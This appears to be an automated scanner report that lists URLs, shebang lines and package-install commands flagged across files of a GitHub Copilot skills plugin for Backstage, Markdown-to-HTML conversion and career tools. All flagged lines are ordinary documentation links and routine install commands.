harness/github-copilot/plugins/backstage-expert/skills/backstage-plugin-builder/scripts/validate_official_docs.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 13
    URLS = [     "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md",
  • Network accessline 14
    "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md",
  • Network accessline 15
    "https://raw.githubusercontent.com/backstage/backstage/master/docs/backend-system/building-plugins-and-modules/01-index.md",
  • Network accessline 16
    "https://backstage.io/docs/plugins/create-a-plugin/",
  • Network accessline 17
    "https://backstage.io/docs/plugins/composability/",
  • Network accessline 18
    "https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md",
  • Network accessline 19
    "https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md",
  • Network accessline 23
    def check_url(url: str, timeout: int) -> dict:     request = urllib.request.Request(
  • Network accessline 24
    request = urllib.request.Request(
  • Network accessline 25
    url, headers={"User-Agent": "backstage-plugin-builder-doc-check"})     try:         with urllib.request.urlopen(request, timeout=timeout) as response:
  • Network accessline 26
    try:         with urllib.request.urlopen(request, timeout=timeout) as response:             return {"url": url, "status": response.status, "ok": 200 <= response.status < 400}
  • Network accessline 27
    with urllib.request.urlopen(request, timeout=timeout) as response:

harness/github-copilot/plugins/backstage-expert/skills/backstage-search/SKILL.md

  • Network accessline 62
    - [Backstage Search](https://backstage.io/docs/features/search/)
  • Network accessline 63
    - [Search architecture](https://backstage.io/docs/features/search/architecture)
  • Network accessline 64
    - [Getting started with Search](https://backstage.io/docs/features/search/getting-started)

harness/github-copilot/plugins/backstage-expert/skills/backstage-workspace-kit/scripts/install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/backstage-expert/skills/backstage-workspace-kit/scripts/test_install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/github-copilot/plugins/backstage-expert/skills/mui-to-bui-migration/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/github-copilot/plugins/backstage-expert/skills/mui-to-bui-migration/references/upstream/SKILL.md

  • Network accessline 600
    Find more icons at: https://remixicon.com/
  • Network accessline 929
    - BUI Documentation: https://ui.backstage.io
  • Network accessline 930
    - Remix Icons: https://remixicon.com/
  • Network accessline 931
    - Example Migration PR: https://github.com/backstage/backstage/pull/31631

harness/github-copilot/plugins/backstage-expert/skills/onboard-to-openapi-server/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/github-copilot/plugins/backstage-expert/skills/onboard-to-openapi-server/references/upstream/SKILL.md

  • Network accessline 76
    - [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml) — small, modern reference.
  • Network accessline 77
    - [`plugins/scaffolder-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/schema/openapi.yaml) — larger, with more parameter and schema reuse.
  • Network accessline 78
    - [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml) — largest, good for query-param-heavy endpoints.
  • Network accessline 145
    [`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts) is the canonical example.
  • Network accessline 178
    [`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated) is a reference for what a client output looks like.
  • Network accessline 202
    [`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts) and [`plugins/catalog-backend/src/service/createRouter.test.ts`](https://git
  • Network accessline 216
    These all live in [`backstage/backstage`](https://github.com/backstage/backstage); the user's workspace likely doesn't contain them. Browse via the links below.
  • Network accessline 218
    | What you need                      | Where to read                                                                                                                                                                              | | ----------
  • Network accessline 219
    | ---------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Spec examp
  • Network accessline 220
    | Spec example (small)               | [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml)                                      |
  • Network accessline 221
    | Spec example (large)               | [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml)                                    |
  • Network accessline 222
    | Router using `createOpenApiRouter` | [`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts)      |
  • Network accessline 223
    | Test using `wrapServer`            | [`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts)                        |
  • Network accessline 224
    | Generate command source            | [`packages/repo-tools/src/commands/package/schema/openapi/generate/`](https://github.com/backstage/backstage/tree/master/packages/repo-tools/src/commands/package/schema/openapi/generate) |
  • Network accessline 225
    | Spec lint command source           | [`packages/repo-tools/src/commands/repo/schema/openapi/lint.ts`](https://github.com/backstage/backstage/blob/master/packages/repo-tools/src/commands/repo/schema/openapi/lint.ts)          |
  • Network accessline 226
    | `wrapServer` implementation        | [`packages/backend-openapi-utils/src/testUtils.ts`](https://github.com/backstage/backstage/blob/master/packages/backend-openapi-utils/src/testUtils.ts)                                    |
  • Network accessline 227
    | Client output reference            | [`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated)                                                               |

harness/github-copilot/plugins/backstage-expert/skills/plugin-analytics-instrumentation/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/github-copilot/plugins/backstage-expert/skills/plugin-full-frontend-system-migration/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/github-copilot/plugins/backstage-expert/skills/plugin-full-frontend-system-migration/references/upstream/SKILL.md

  • Network accessline 122
    For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo
  • Network accessline 550
    - [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating)
  • Network accessline 551
    - [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints)
  • Network accessline 552
    - [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)

harness/github-copilot/plugins/backstage-expert/skills/plugin-new-frontend-system-support/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/github-copilot/plugins/backstage-expert/skills/plugin-new-frontend-system-support/references/upstream/SKILL.md

  • Network accessline 56
    For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo
  • Network accessline 425
    - [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating)
  • Network accessline 426
    - [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints)
  • Network accessline 427
    - [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)

harness/github-copilot/plugins/career-productivity/skills/brag-sheet/SKILL.md

  • Network accessline 193
    - [copilot-brag-sheet](https://github.com/microsoft/copilot-brag-sheet)

harness/github-copilot/plugins/career-productivity/skills/meeting-minutes/SKILL.md

  • Network accessline 62
    | Due date | Every action item must include `YYYY-MM-DD`, `ASAP`, or a clear timeframe. | | Acceptance criteria | Add what completes the action whenever possible. | | Traceability | Link tickets, slides, recordings, or URLs when provided, f
  • Network accessline 63
    | Acceptance criteria | Add what completes the action whenever possible. | | Traceability | Link tickets, slides, recordings, or URLs when provided, for example `https://github.com/owner/repo/issues/123`. | | Uncertainty | Do not infer unsu
  • Network accessline 64
    | Traceability | Link tickets, slides, recordings, or URLs when provided, for example `https://github.com/owner/repo/issues/123`. |

harness/github-copilot/plugins/cms-development/skills/markdown-to-html/SKILL.md

  • Network accessline 15
    Expert skill for converting Markdown documents to HTML using the marked.js library, or writing data conversion scripts; in this case scripts similar to [markedJS/marked](https://github.com/markedjs/marked) repository. For custom scripts kno
  • Network accessline 40
    One sentence with a [link](https://example.com), and a HTML snippet like `<p>paragraph tag</p>`.
  • Network accessline 67
    <p>One sentence with a <a href="https://example.com">link</a>, and a HTML snippet like <code>&lt;p&gt;paragraph tag&lt;/p&gt;</code>.</p>

harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/basic-markdown-to-html.md

  • Network accessline 240
    [GitHub Pages](https://pages.github.com/)
  • Network accessline 246
    <a href="https://pages.github.com/">GitHub Pages</a>
  • Network accessline 348
    <a href="https://docs.github.com/en/support" class="user-mention">@github/support</a>

harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/basic-markdown.md

  • Network accessline 15
    ![Screenshot of rendered GitHub Markdown showing sample h1, h2, and h3 headers, which descend in type size and visual weight to show hierarchy level.](https://docs.github.com/assets/images/help/writing/headings-rendered.png)
  • Network accessline 19
    ![Screenshot of a README file with the drop-down menu for the table of contents exposed. The table of contents icon is outlined in dark orange.](https://docs.github.com/assets/images/help/repository/headings-toc.png)
  • Network accessline 48
    ![Screenshot of rendered GitHub Markdown showing the difference between normal and quoted text.](https://docs.github.com/assets/images/help/writing/quoted-text-rendered.png)
  • Network accessline 50
    > \[!NOTE] > When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing <kbd>R</kbd>. You can quote an entire comment by clicking <svg version="1.1" width="16" height="16" viewBox="0 0 1
  • Network accessline 51
    > When viewing a conversation, you can automatically quote text in a comment by highlighting the text, then typing <kbd>R</kbd>. You can quote an entire comment by clicking <svg version="1.1" width="16" height="16" viewBox="0 0 16 16" class
  • Network accessline 61
    ![Screenshot of rendered GitHub Markdown showing that characters surrounded by backticks are shown in a fixed-width typeface, highlighted in light gray.](https://docs.github.com/assets/images/help/writing/inline-code-rendered.png)
  • Network accessline 74
    ![Screenshot of rendered GitHub Markdown showing a simple code block without syntax highlighting.](https://docs.github.com/assets/images/help/writing/code-block-rendered.png)
  • Network accessline 76
    For more information, see [Creating and highlighting code blocks](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks).
  • Network accessline 78
    If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/en/get-star
  • Network accessline 88
    ![Screenshot of rendered GitHub Markdown showing how HEX values within backticks create small circles of color, here white and then black.](https://docs.github.com/assets/images/help/writing/supported-color-models-rendered.png)
  • Network accessline 92
    | Color | Syntax                      | Example                             | Output                                                                                                                                                            
  • Network accessline 93
    | ----- | --------------------------- | ----------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------
  • Network accessline 94
    | HEX   | <code>\`#RRGGBB\`</code>    | <code>\`#0969DA\`</code>            | ![Screenshot of rendered GitHub Markdown showing how HEX value #0969DA appears with a blue circle.](https://docs.github.com/assets/images/help/writing/supported-c
  • Network accessline 95
    | RGB   | <code>\`rgb(R,G,B)\`</code> | <code>\`rgb(9, 105, 218)\`</code>   | ![Screenshot of rendered GitHub Markdown showing how RGB value 9, 105, 218 appears with a blue circle.](https://docs.github.com/assets/images/help/writing/support
  • Network accessline 96
    | HSL   | <code>\`hsl(H,S,L)\`</code> | <code>\`hsl(212, 92%, 45%)\`</code> | ![Screenshot of rendered GitHub Markdown showing how HSL value 212, 92%, 45% appears with a blue circle.](https://docs.github.com/assets/images/help/writing/suppo
  • Network accessline 109
    `This site was built using [GitHub Pages](https://pages.github.com/).`
  • Network accessline 111
    ![Screenshot of rendered GitHub Markdown showing how text within brackets, "GitHub Pages," appears as a blue hyperlink.](https://docs.github.com/assets/images/help/writing/link-rendered.png)
  • Network accessline 113
    > \[!NOTE] > GitHub automatically creates links when valid URLs are written in a comment. For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/a
  • Network accessline 114
    > GitHub automatically creates links when valid URLs are written in a comment. For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/autolinked-r
  • Network accessline 120
    ![Screenshot of a README for a repository. To the left of a section heading, a link icon is outlined in dark orange.](https://docs.github.com/assets/images/help/repository/readme-links.png)
  • Network accessline 130
    For more detailed information on the requirements of URI fragments, see [RFC 3986: Uniform Resource Identifier (URI): Generic Syntax, Section 3.5](https://www.rfc-editor.org/rfc/rfc3986#section-3.5).
  • Network accessline 255
    `![Screenshot of a comment on a GitHub issue showing an image, added in the Markdown, of an Octocat smiling and raising a tentacle.](https://myoctocat.com/assets/images/base-octocat.svg)`
  • Network accessline 257
    ![Screenshot of a comment on a GitHub issue showing an image, added in the Markdown, of an Octocat smiling and raising a tentacle.](https://docs.github.com/assets/images/help/writing/image-rendered.png)
  • Network accessline 293
    ![Screenshot of rendered GitHub Markdown showing a bulleted list of the names of the first three American presidents.](https://docs.github.com/assets/images/help/writing/unordered-list-rendered.png)
  • Network accessline 303
    ![Screenshot of rendered GitHub Markdown showing a numbered list of the names of the fourth, fifth, and sixth American presidents.](https://docs.github.com/assets/images/help/writing/ordered-list-rendered.png)
  • Network accessline 309
    To create a nested list using the web editor on GitHub or a text editor that uses a monospaced font, like [Visual Studio Code](https://code.visualstudio.com/), you can align your list visually. Type space characters in front of your nested 
  • Network accessline 320
    ![Screenshot of Markdown in Visual Studio Code showing indentation of nested numbered lines and bullets.](https://docs.github.com/assets/images/help/writing/nested-list-alignment.png)
  • Network accessline 322
    ![Screenshot of rendered GitHub Markdown showing a numbered item followed by nested bullets at two different levels of nesting.](https://docs.github.com/assets/images/help/writing/nested-list-example-1.png)
  • Network accessline 333
    ![Screenshot of rendered GitHub Markdown showing a numbered item prefaced by the number 100 followed by a bulleted item nested one level.](https://docs.github.com/assets/images/help/writing/nested-list-example-3.png)
  • Network accessline 343
    ![Screenshot of rendered GitHub Markdown showing a numbered item prefaced by the number 100 followed by bullets at two different levels of nesting.](https://docs.github.com/assets/images/help/writing/nested-list-example-2.png)
  • Network accessline 345
    For more examples, see the [GitHub Flavored Markdown Spec](https://github.github.com/gfm/#example-265).
  • Network accessline 352
    - [x] #739 - [ ] https://github.com/{owner}/{repo}/issues/{issue-number}
  • Network accessline 353
    - [ ] https://github.com/{owner}/{repo}/issues/{issue-number}
  • Network accessline 357
    ![Screenshot showing the rendered version of the markdown. The references to issues are rendered as issue titles.](https://docs.github.com/assets/images/help/writing/task-list-rendered-simple.png)
  • Network accessline 363
    For more information, see [About tasklists](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists).
  • Network accessline 367
    You can mention a person or [team](https://docs.github.com/en/organizations/organizing-members-into-teams) on GitHub by typing <kbd>@</kbd> plus their username or team name. This will trigger a notification and bring their attention to the 
  • Network accessline 374
    ![Screenshot of rendered GitHub Markdown showing how the team mention "@github/support" renders as bold, clickable text.](https://docs.github.com/assets/images/help/writing/mention-rendered.png)
  • Network accessline 376
    When you mention a parent team, members of its child teams also receive notifications, simplifying communication with multiple groups of people. For more information, see [About organization teams](https://docs.github.com/en/organizations/o
  • Network accessline 386
    For more information, see [Autolinked references and URLs](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/autolinked-references-and-urls).
  • Network accessline 390
    If custom autolink references are configured for a repository, then references to external resources, like a JIRA issue or Zendesk ticket, convert into shortened links. To know which autolinks are available in your repository, contact someo
  • Network accessline 402
    ![Screenshot of rendered GitHub Markdown showing how emoji codes for +1 and shipit render visually as emoji.](https://docs.github.com/assets/images/help/writing/emoji-rendered.png)
  • Network accessline 406
    For a full list of available emoji and codes, see [the Emoji-Cheat-Sheet](https://github.com/ikatyang/emoji-cheat-sheet/blob/github-actions-auto-update/README.md).
  • Network accessline 428
    ![Screenshot of rendered Markdown showing superscript numbers used to indicate footnotes, along with optional line breaks inside a note.](https://docs.github.com/assets/images/help/writing/footnote-rendered.png)
  • Network accessline 460
    ![Screenshot of rendered Markdown alerts showing how Note, Tip, Important, Warning, and Caution render with different colored text and icons.](https://docs.github.com/assets/images/help/writing/alerts-rendered.png)
  • Network accessline 476
    ![Screenshot of rendered GitHub Markdown showing how backslashes prevent the conversion of asterisks to italics.](https://docs.github.com/assets/images/help/writing/escaped-character-rendered.png)
  • Network accessline 478
    For more information on backslashes, see Daring Fireball's [Markdown Syntax](https://daringfireball.net/projects/markdown/syntax#backslash).
  • Network accessline 487
    ![Screenshot of a Markdown file in a repository showing options for interacting with the file. A button, labeled "Code", is outlined in dark orange.](https://docs.github.com/assets/images/help/writing/display-markdown-as-source-global-nav-u
  • Network accessline 493
    *[GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 494
    *[About writing and formatting on GitHub](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github)
  • Network accessline 495
    *[Working with advanced formatting](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting)
  • Network accessline 496
    *[Quickstart for writing on GitHub](https://docs.github.com/en/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github)

harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/code-blocks-to-html.md

  • Network accessline 117
    [About writing and formatting on GitHub](https://docs.github.com/...)
  • Network accessline 121
    <a href="https://docs.github.com/...">About writing and formatting on GitHub</a>
  • Network accessline 129
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 133
    <ul>   <li>     <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a>
  • Network accessline 134
    <li>     <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a>   </li>
  • Network accessline 135
    <a href="https://github.github.com/gfm/">GitHub Flavored Markdown Spec</a>

harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/code-blocks.md

  • Network accessline 17
    ![Screenshot of rendered GitHub Markdown showing the use of triple backticks to create code blocks. The block begins with "function test() {."](https://docs.github.com/assets/images/help/writing/fenced-code-block-rendered.png)
  • Network accessline 32
    ![Screenshot of rendered Markdown showing that when you write triple backticks between quadruple backticks they are visible in the rendered content.](https://docs.github.com/assets/images/help/writing/fenced-code-show-backticks-rendered.png
  • Network accessline 34
    If you are frequently editing code snippets and tables, you may benefit from enabling a fixed-width font in all comment fields on GitHub. For more information, see [About writing and formatting on GitHub](https://docs.github.com/get-started
  • Network accessline 56
    ![Screenshot of three lines of Ruby code as displayed on GitHub. Elements of the code display in purple, blue, and red type for scannability.](https://docs.github.com/assets/images/help/writing/code-block-syntax-highlighting-rendered.png)
  • Network accessline 58
    > \[!TIP] > When you create a fenced code block that you also want to have syntax highlighting on a GitHub Pages site, use lower-case language identifiers. For more information, see [About GitHub Pages and Jekyll](https://docs.github.com/pa
  • Network accessline 59
    > When you create a fenced code block that you also want to have syntax highlighting on a GitHub Pages site, use lower-case language identifiers. For more information, see [About GitHub Pages and Jekyll](https://docs.github.com/pages/settin
  • Network accessline 61
    We use [Linguist](https://github.com/github-linguist/linguist) to perform language detection and to select [third-party grammars](https://github.com/github-linguist/linguist/blob/main/vendor/README.md) for syntax highlighting. You can find 
  • Network accessline 65
    You can also use code blocks to create diagrams in Markdown. GitHub supports Mermaid, GeoJSON, TopoJSON, and ASCII STL syntax. For more information, see [Creating diagrams](https://docs.github.com/get-started/writing-on-github/working-with-
  • Network accessline 69
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 70
    * [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)

harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/collapsed-sections.md

  • Network accessline 33
    ![Screenshot of the Markdown above on this page as rendered on GitHub, showing a right-facing arrow and the header "Tips for collapsed sections."](https://docs.github.com/assets/images/help/writing/collapsed-section-view.png)
  • Network accessline 37
    ![Screenshot of the Markdown above on this page as rendered on GitHub. The collapsed section contains headers, text, images, and code blocks.](https://docs.github.com/assets/images/help/writing/open-collapsed-section.png)
  • Network accessline 47
    * [GitHub Flavored Markdown Spec](https://github.github.com/gfm/)
  • Network accessline 48
    * [Basic writing and formatting syntax](https://docs.github.com/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax)

harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/extended-guide.md

  • Network accessline 12
    ```html     <p>This sentence uses <code>$</code> delimiters to show math inline:      <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 13
    <p>This sentence uses <code>$</code> delimiters to show math inline:      <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">       <msqrt><mn>3</mn><mi>x</mi><mo>−</mo><mn>1</mn></msqrt>
  • Network accessline 14
    <math-renderer><math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 29
    <p><strong>The Cauchy-Schwarz Inequality</strong><br>      <math-renderer>       <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 30
    <math-renderer>       <math xmlns="http://www.w3.org/1998/Math/MathML">        <msup>
  • Network accessline 31
    <math xmlns="http://www.w3.org/1998/Math/MathML">
  • Network accessline 180
    - [DOMPurify](https://github.com/cure53/DOMPurify) (recommended)
  • Network accessline 181
    - [sanitize-html](https://github.com/apostrophecms/sanitize-html)
  • Network accessline 182
    - [js-xss](https://github.com/leizongmin/js-xss)
  • Network accessline 206
    - Pandoc installed (download from <https://pandoc.org/installing.html>)
  • Network accessline 402
    Recommended sanitizer: [Bluemonday](https://github.com/microcosm-cc/bluemonday)
  • Network accessline 447
    # Access at http://localhost:4000
  • Network accessline 538
    - Hugo installed (download from <https://gohugo.io/installation/>)
  • Network accessline 553
    # Add a theme git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke
  • Network accessline 554
    git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke echo "theme = 'ananke'" >> hugo.toml
  • Network accessline 555
    git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke
  • Network accessline 584
    # Start with live reload and bind to all interfaces hugo server --bind 0.0.0.0 --baseURL http://localhost:1313/
  • Network accessline 585
    hugo server --bind 0.0.0.0 --baseURL http://localhost:1313/
  • Network accessline 682
    - [tables.md](../references/tables.md) - [writing-mathematical-expressions.md](../references/writing-mathematical-expressions.md) - Markdown Guide: <https://www.markdownguide.org/basic-syntax/>
  • Network accessline 683
    - [writing-mathematical-expressions.md](../references/writing-mathematical-expressions.md) - Markdown Guide: <https://www.markdownguide.org/basic-syntax/> - Styling Markdown: <https://github.com/sindresorhus/github-markdown-css>
  • Network accessline 684
    - Markdown Guide: <https://www.markdownguide.org/basic-syntax/>
  • Network accessline 685
    - Styling Markdown: <https://github.com/sindresorhus/github-markdown-css>
  • Network accessline 689
    - Official documentation: <https://marked.js.org/>
  • Network accessline 690
    - Advanced options: <https://marked.js.org/using_advanced>
  • Network accessline 691
    - Extensibility: <https://marked.js.org/using_pro>
  • Network accessline 692
    - GitHub repository: <https://github.com/markedjs/marked>
  • Network accessline 696
    - Getting started: <https://pandoc.org/getting-started.html>
  • Network accessline 697
    - Official documentation: <https://pandoc.org/MANUAL.html>
  • Network accessline 698
    - Extensibility: <https://pandoc.org/extras.html>
  • Network accessline 699
    - GitHub repository: <https://github.com/jgm/pandoc>
  • Network accessline 703
    - Official documentation: <https://pkg.go.dev/github.com/gomarkdown/markdown>
  • Network accessline 704
    - Advanced configuration: <https://pkg.go.dev/github.com/gomarkdown/markdown/html>
  • Network accessline 705
    - Markdown processing: <https://blog.kowalczyk.info/article/cxn3/advanced-markdown-processing-in-go.html>
  • Network accessline 706
    - GitHub repository: <https://github.com/gomarkdown/markdown>
  • Network accessline 710
    - Official documentation: <https://jekyllrb.com/docs/>
  • Network accessline 711
    - Configuration options: <https://jekyllrb.com/docs/configuration/options/>
  • Network accessline 712
    - Plugins: <https://jekyllrb.com/docs/plugins/>
  • Network accessline 713
    - [Installation](https://jekyllrb.com/docs/plugins/installation/)
  • Network accessline 714
    - [Generators](https://jekyllrb.com/docs/plugins/generators/)
  • Network accessline 715
    - [Converters](https://jekyllrb.com/docs/plugins/converters/)
  • Network accessline 716
    - [Commands](https://jekyllrb.com/docs/plugins/commands/)
  • Network accessline 717
    - [Tags](https://jekyllrb.com/docs/plugins/tags/)
  • Network accessline 718
    - [Filters](https://jekyllrb.com/docs/plugins/filters/)
  • Network accessline 719
    - [Hooks](https://jekyllrb.com/docs/plugins/hooks/)
  • Network accessline 720
    - GitHub repository: <https://github.com/jekyll/jekyll>
  • Network accessline 724
    - Official documentation: <https://gohugo.io/documentation/>
  • Network accessline 725
    - All Settings: <https://gohugo.io/configuration/all/>
  • Network accessline 726
    - Editor Plugins: <https://gohugo.io/tools/editors/>
  • Network accessline 727
    - GitHub repository: <https://github.com/gohugoio/hugo>

harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/gomarkdown.md

  • Network accessline 249
    - [Package Documentation](https://pkg.go.dev/github.com/gomarkdown/markdown)
  • Network accessline 250
    - [Advanced Processing Guide](https://blog.kowalczyk.info/article/cxn3/advanced-markdown-processing-in-go.html)
  • Network accessline 251
    - [GitHub Repository](https://github.com/gomarkdown/markdown)
  • Network accessline 252
    - [CLI Tool](https://github.com/gomarkdown/mdtohtml)
  • Network accessline 253
    - [Bluemonday Sanitizer](https://github.com/microcosm-cc/bluemonday)

harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/hugo.md

  • Dangerous shell operationline 34
    sudo apt-get install hugo
  • Network accessline 36
    # Or download from https://gohugo.io/installation/
  • Network accessline 48
    # Initialize git and add theme git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke
  • Network accessline 49
    git init git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke echo "theme = 'ananke'" >> hugo.toml
  • Network accessline 50
    git submodule add https://github.com/theNewDynamic/gohugo-theme-ananke themes/ananke
  • Network accessline 135
    # Basic settings baseURL = 'https://example.com/'
  • Network accessline 136
    baseURL = 'https://example.com/'
  • Network accessline 390
    - [Hugo Documentation](https://gohugo.io/documentation/)
  • Network accessline 391
    - [Hugo Themes](https://themes.gohugo.io/)
  • Network accessline 392
    - [Hugo Discourse](https://discourse.gohugo.io/)
  • Network accessline 393
    - [GitHub Repository](https://github.com/gohugoio/hugo)
  • Network accessline 394
    - [Quick Reference](https://gohugo.io/quick-reference/)

harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/jekyll.md

  • Dangerous shell operationline 28
    sudo apt-get install ruby-full build-essential zlib1g-dev
  • Network accessline 31
    # Windows (use RubyInstaller) # Download from https://rubyinstaller.org/
  • Network accessline 32
    # Download from https://rubyinstaller.org/
  • Network accessline 50
    # Open http://localhost:4000
  • Network accessline 116
    description: A great blog baseurl: "" url: "https://example.com"
  • Network accessline 118
    url: "https://example.com"
  • Network accessline 317
    - [Jekyll Documentation](https://jekyllrb.com/docs/)
  • Network accessline 318
    - [Liquid Template Language](https://shopify.github.io/liquid/)
  • Network accessline 319
    - [Kramdown Documentation](https://kramdown.gettalong.org/)
  • Network accessline 320
    - [GitHub Repository](https://github.com/jekyll/jekyll)
  • Network accessline 321
    - [Jekyll Themes](https://jekyllthemes.io/)

harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/marked.md

  • Network accessline 33
    <script src="https://cdn.jsdelivr.net/npm/marked/lib/marked.umd.js"></script>

harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/pandoc.md

  • Network accessline 16
    # Or download installer from https://pandoc.org/installing.html
  • Dangerous shell operationline 30
    sudo apt-get install pandoc
  • Dangerous shell operationline 33
    sudo dnf install pandoc
  • Network accessline 35
    # Or download from https://pandoc.org/installing.html
  • Network accessline 223
    - [Pandoc User's Guide](https://pandoc.org/MANUAL.html)
  • Network accessline 224
    - [Pandoc Demos](https://pandoc.org/demos.html)
  • Network accessline 225
    - [Pandoc FAQ](https://pandoc.org/faqs.html)
  • Network accessline 226
    - [GitHub Repository](https://github.com/jgm/pandoc)

harness/github-copilot/plugins/cms-development/skills/markdown-to-html/references/tables.md

  • Network accessline 17
